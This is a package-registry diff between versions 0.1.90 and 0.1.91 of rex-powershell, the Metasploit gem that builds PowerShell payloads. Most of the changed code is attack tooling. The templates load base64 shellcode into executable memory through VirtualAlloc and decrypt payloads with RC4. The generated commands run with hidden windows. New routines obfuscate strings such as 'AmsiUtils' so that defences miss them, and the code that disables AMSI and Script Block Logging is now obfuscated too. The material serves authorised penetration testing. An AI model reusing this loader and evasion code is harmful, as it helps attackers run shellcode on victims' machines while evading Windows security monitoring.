rex-powershell 0.1.90 → 0.1.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/data/templates/to_mem_pshreflection.ps1.template +5 -5
- data/data/templates/to_mem_rc4.ps1.template +1 -1
- data/lib/rex/powershell/command.rb +23 -8
- data/lib/rex/powershell/obfu.rb +87 -0
- data/lib/rex/powershell/output.rb +12 -4
- data/lib/rex/powershell/psh_methods.rb +24 -15
- data/lib/rex/powershell/version.rb +1 -1
- metadata +2 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
|
4
|
+
data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
|
7
|
+
data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_get_proc_address} {
|
2
|
-
Param ($%{var_module}, $%{var_procedure})
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
3
3
|
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
4
|
-
|
4
|
+
|
5
5
|
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
6
6
|
}
|
7
7
|
|
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
|
|
10
10
|
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
11
11
|
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
12
12
|
)
|
13
|
-
|
13
|
+
|
14
14
|
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
15
15
|
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
16
16
|
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
17
|
-
|
17
|
+
|
18
18
|
return $%{var_type_builder}.CreateType()
|
19
19
|
}
|
20
20
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
22
|
-
|
22
|
+
|
23
23
|
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
24
24
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
25
25
|
|
@@ -1,7 +1,7 @@
|
|
1
1
|
function %{func_rc4_decrypt} {
|
2
2
|
param([Byte[]]$%{var_rc4buffer})
|
3
3
|
|
4
|
-
|
4
|
+
$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
|
5
5
|
|
6
6
|
$s = New-Object Byte[] 256;
|
7
7
|
$k = New-Object Byte[] 256;
|
@@ -268,6 +268,12 @@ EOS
|
|
268
268
|
# @param opts [Hash] The options to generate the command
|
269
269
|
# @option opts [Boolean] :persist Loop the payload to cause
|
270
270
|
# re-execution if the shellcode finishes
|
271
|
+
# @option opts [String] :prepend A stub of Powershell code to prepend to the
|
272
|
+
# payload.
|
273
|
+
# @option opts [String] :prepend_inner A stub of Powershell code to prepend to
|
274
|
+
# the inner payload.
|
275
|
+
# @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
|
276
|
+
# bypasses Powershell protections.
|
271
277
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
272
278
|
# before executing the payload
|
273
279
|
# @option opts [String] :method The powershell injection technique to
|
@@ -306,9 +312,15 @@ EOS
|
|
306
312
|
else
|
307
313
|
fail RuntimeError, 'No Powershell method specified'
|
308
314
|
end
|
315
|
+
|
309
316
|
if opts[:exec_rc4]
|
310
317
|
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
|
311
318
|
end
|
319
|
+
|
320
|
+
if opts[:prepend_inner]
|
321
|
+
psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
|
322
|
+
end
|
323
|
+
|
312
324
|
# Run our payload in a while loop
|
313
325
|
if opts[:persist]
|
314
326
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
@@ -324,12 +336,6 @@ EOS
|
|
324
336
|
end
|
325
337
|
|
326
338
|
compressed_payload = compress_script(psh_payload, nil, opts)
|
327
|
-
|
328
|
-
if opts[:prepend_protections_bypass]
|
329
|
-
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
330
|
-
compressed_payload = bypass_amsi + ";" + compressed_payload
|
331
|
-
end
|
332
|
-
|
333
339
|
encoded_payload = encode_script(psh_payload, opts)
|
334
340
|
|
335
341
|
# This branch is probably never taken...
|
@@ -352,6 +358,15 @@ EOS
|
|
352
358
|
end
|
353
359
|
end
|
354
360
|
|
361
|
+
if opts[:prepend_protections_bypass]
|
362
|
+
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
363
|
+
smallest_payload = bypass_amsi + ";" + smallest_payload
|
364
|
+
end
|
365
|
+
|
366
|
+
if opts[:prepend]
|
367
|
+
smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
|
368
|
+
end
|
369
|
+
|
355
370
|
if opts[:exec_in_place]
|
356
371
|
final_payload = smallest_payload
|
357
372
|
else
|
@@ -362,8 +377,8 @@ EOS
|
|
362
377
|
end
|
363
378
|
|
364
379
|
command_args = {
|
365
|
-
|
366
|
-
|
380
|
+
noprofile: true,
|
381
|
+
windowstyle: 'hidden'
|
367
382
|
}.merge(opts)
|
368
383
|
|
369
384
|
if opts[:encode_final_payload]
|
data/lib/rex/powershell/obfu.rb
CHANGED
@@ -12,6 +12,92 @@ module Powershell
|
|
12
12
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
13
13
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
14
14
|
|
15
|
+
#
|
16
|
+
# Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
|
17
|
+
# characters and some punctuation. This routine will use a combination of of techniques including formatting and
|
18
|
+
# concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
|
19
|
+
#
|
20
|
+
# @param [String] string The string value to obfuscate.
|
21
|
+
# @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
|
22
|
+
# obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
|
23
|
+
# obfuscation.
|
24
|
+
# @return [String] An obfuscated Powershell expression that evaluates to the specified string.
|
25
|
+
def self.scate_string_literal(string, threshold: 0.15)
|
26
|
+
# this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
|
27
|
+
# 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
|
28
|
+
raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
|
29
|
+
raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
|
30
|
+
|
31
|
+
new = original = string
|
32
|
+
occurrences = {}
|
33
|
+
original.each_char { |char|
|
34
|
+
occurrences[char] = 0 unless occurrences.key?(char)
|
35
|
+
occurrences[char] += 1
|
36
|
+
}
|
37
|
+
char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
|
38
|
+
|
39
|
+
# phase 1
|
40
|
+
format = []
|
41
|
+
char_subs = 0.0
|
42
|
+
while (char_subs / original.length.to_f) < threshold
|
43
|
+
orig_char, occurrence_count = char_map.pop
|
44
|
+
new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
|
45
|
+
format << "'#{orig_char}'"
|
46
|
+
char_subs += occurrence_count
|
47
|
+
end
|
48
|
+
|
49
|
+
# phase 2
|
50
|
+
concat = "'+'"
|
51
|
+
positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
|
52
|
+
positions.sort!
|
53
|
+
positions.each_with_index do |position, index|
|
54
|
+
new = new.insert(position + (index * concat.length), concat)
|
55
|
+
end
|
56
|
+
|
57
|
+
new = "'#{new}'"
|
58
|
+
new = "(#{new})" unless threshold == 0
|
59
|
+
|
60
|
+
final = new
|
61
|
+
final << "-f#{format.join(',')}" unless format.empty?
|
62
|
+
final = "(#{final})" unless format.empty? && threshold == 0
|
63
|
+
final
|
64
|
+
end
|
65
|
+
|
66
|
+
#
|
67
|
+
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
68
|
+
#
|
69
|
+
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
70
|
+
# @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
|
71
|
+
# different routine, then an exception is raised.
|
72
|
+
# @return [String] The string literal value.
|
73
|
+
def self.descate_string_literal(string)
|
74
|
+
string = string.strip
|
75
|
+
nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
|
76
|
+
string = string[nest_level...-nest_level].strip if nest_level > 0
|
77
|
+
format_args = nil
|
78
|
+
if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
|
79
|
+
format = Regexp.last_match(0)
|
80
|
+
format_args = string[format.length..-1].strip
|
81
|
+
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
82
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
83
|
+
end
|
84
|
+
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
85
|
+
string = format[1...-1].strip
|
86
|
+
end
|
87
|
+
|
88
|
+
unless string =~ /^'.*'$/
|
89
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
90
|
+
end
|
91
|
+
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
92
|
+
unless format_args.nil? # process all format string operations
|
93
|
+
string = string.gsub(/\{\s*\d+\s*\}/) do |index|
|
94
|
+
format_args[index[1...-1].to_i]
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
string[1...-1]
|
99
|
+
end
|
100
|
+
|
15
101
|
#
|
16
102
|
# Remove comments
|
17
103
|
#
|
@@ -45,6 +131,7 @@ module Powershell
|
|
45
131
|
# @return [String] code with whitespace stripped
|
46
132
|
def strip_whitespace
|
47
133
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
134
|
+
code.strip!
|
48
135
|
|
49
136
|
code
|
50
137
|
end
|
@@ -50,10 +50,11 @@ module Powershell
|
|
50
50
|
# Base64 encode the compressed file contents
|
51
51
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
52
52
|
|
53
|
+
|
53
54
|
# Build the powershell expression
|
54
55
|
# Decode base64 encoded command and create a stream object
|
55
56
|
psh_expression = "$s=New-Object System.IO.MemoryStream(,"
|
56
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
57
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
|
57
58
|
# Read & delete the first two bytes due to incompatibility with MS
|
58
59
|
psh_expression << '$s.ReadByte();'
|
59
60
|
psh_expression << '$s.ReadByte();'
|
@@ -109,7 +110,7 @@ module Powershell
|
|
109
110
|
# GzipStream operates on the Memory Stream
|
110
111
|
psh_expression << '(New-Object System.IO.MemoryStream(,'
|
111
112
|
# MemoryStream consists of base64 encoded compressed data
|
112
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
113
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
|
113
114
|
# Set the GzipStream to decompress its MemoryStream contents
|
114
115
|
psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
|
115
116
|
# Read the decoded, decompressed result into scriptblock contents
|
@@ -139,8 +140,15 @@ module Powershell
|
|
139
140
|
#
|
140
141
|
# @return [String] Decompressed powershell code
|
141
142
|
def decompress_code
|
142
|
-
# Extract substring with
|
143
|
-
|
143
|
+
# Extract substring with payload4
|
144
|
+
if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
|
145
|
+
encoded_stream = Regexp.last_match(1)
|
146
|
+
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
147
|
+
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
148
|
+
else
|
149
|
+
raise RuntimeError, 'Failed to identify the base64 data'
|
150
|
+
end
|
151
|
+
|
144
152
|
# Decode and decompress the string
|
145
153
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
146
154
|
begin
|
@@ -90,10 +90,13 @@ module Powershell
|
|
90
90
|
#
|
91
91
|
# @return [String] PowerShell code to bypass AMSI
|
92
92
|
def self.bypass_amsi()
|
93
|
-
|
94
|
-
$Ref=[Ref].Assembly.GetType('System.Management.Automation.
|
95
|
-
$Ref.GetField('
|
96
|
-
|
93
|
+
script = Script.new(<<-PSH
|
94
|
+
$Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
|
95
|
+
$Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
|
96
|
+
PSH
|
97
|
+
)
|
98
|
+
script.sub_vars
|
99
|
+
script
|
97
100
|
end
|
98
101
|
|
99
102
|
#
|
@@ -101,22 +104,28 @@ module Powershell
|
|
101
104
|
#
|
102
105
|
# @return [String] PowerShell code to bypass Script Block Logging
|
103
106
|
def self.bypass_script_log()
|
104
|
-
|
105
|
-
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','
|
106
|
-
If($GPF){
|
107
|
+
script = Script.new(<<-PSH
|
108
|
+
$GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
|
109
|
+
If ($GPF) {
|
110
|
+
$SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
|
111
|
+
$EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
|
112
|
+
$EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
|
107
113
|
$GPC=$GPF.GetValue($null);
|
108
|
-
If($GPC[
|
109
|
-
$GPC[
|
110
|
-
$GPC[
|
114
|
+
If($GPC[$SBL]){
|
115
|
+
$GPC[$SBL][$EnableSBL]=0;
|
116
|
+
$GPC[$SBL][$EnableSBIL]=0;
|
111
117
|
}
|
112
118
|
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
|
113
|
-
$val.Add(
|
114
|
-
$val.Add(
|
115
|
-
$GPC['HKEY_LOCAL_MACHINE
|
119
|
+
$val.Add($EnableSBL,0);
|
120
|
+
$val.Add($EnableSBIL,0);
|
121
|
+
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
|
116
122
|
} Else {
|
117
|
-
[ScriptBlock].GetField('signatures','
|
123
|
+
[ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
|
118
124
|
}
|
119
|
-
|
125
|
+
PSH
|
126
|
+
)
|
127
|
+
script.sub_vars
|
128
|
+
script
|
120
129
|
end
|
121
130
|
|
122
131
|
#
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.91
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Metasploit Hackers
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
95
95
|
-----END CERTIFICATE-----
|
96
|
-
date: 2021-
|
96
|
+
date: 2021-07-09 00:00:00.000000000 Z
|
97
97
|
dependencies:
|
98
98
|
- !ruby/object:Gem::Dependency
|
99
99
|
name: rake
|
metadata.gz.sig
CHANGED
Binary file
|